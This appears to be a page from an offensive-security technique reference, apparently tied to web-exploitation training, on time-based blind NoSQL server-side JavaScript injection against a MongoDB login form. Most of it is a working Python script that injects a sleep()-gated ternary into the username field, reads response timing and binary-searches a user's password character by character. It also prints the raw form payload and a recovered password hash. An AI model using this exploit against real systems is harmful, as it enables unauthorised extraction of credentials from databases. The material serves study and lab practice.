Skip to content
Time-based

Time-based

SSJI time-based exfil (sleep branch, binary search)

Gates a server-side sleep() on a charCodeAt comparison and reads the answer from response latency.

Identical string break-out to the boolean case, but <cond> gates a sleep(TIME) through a ternary, so the oracle reads response latency instead of body content; this is the technique of choice when no field-reflective marker exists. Scoping the predicate with this.username == "<user>" ensures only the targeted document evaluates the sleep, avoiding a delay on every scanned row and keeping the timing signal clean. THRESHOLD sits between normal network jitter and TIME; raise TIME (or average repeated probes) on noisy links. Binary search keeps the slow, sleep-bearing requests to about 7 per byte instead of one per candidate character.

import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
URL = "http://target/login"
USER = "bmdyy"            # row to target, so only that document sleeps
FIELD = "this.password"   # field to exfiltrate
TIME = 500                # ms slept when the branch is taken
THRESHOLD = 0.4           # seconds; above jitter, below TIME

def oracle(cond):
    """`cond` gates a server-side sleep; True when the response is delayed."""
    expr = f'this.username == "{USER}" && {cond}'
    payload = f'" || ({expr} ? sleep({TIME}) : 0) || ""=="'
    r = s.post(URL, data={"username": payload, "password": "test"}, verify=False)
    return r.elapsed.total_seconds() > THRESHOLD

def length():
    n = 0
    while not oracle(f"{FIELD}.length == {n}"):
        n += 1
    return n

def dump():
    out = ""
    for pos in range(length()):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        out += chr(lo)
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Form field gating a server-side sleep on one document

username=" || (this.username == "bmdyy" && this.password.charCodeAt(0) <= 79 ? sleep(500) : 0) || ""=="&password=test

Recovered field

[+] $2y$10$VdRHBCzi1DzgzAtPDCDG.O6bnaLj1cd5HBQHmGJHjw982AIJ0gWby

Find by: nosql, mongodb, ssji, time-based blind, sleep, $where, charCodeAt, response timing, password exfil, ternary · Source: CWEE/NoSQLi SSJI time-based sleep branch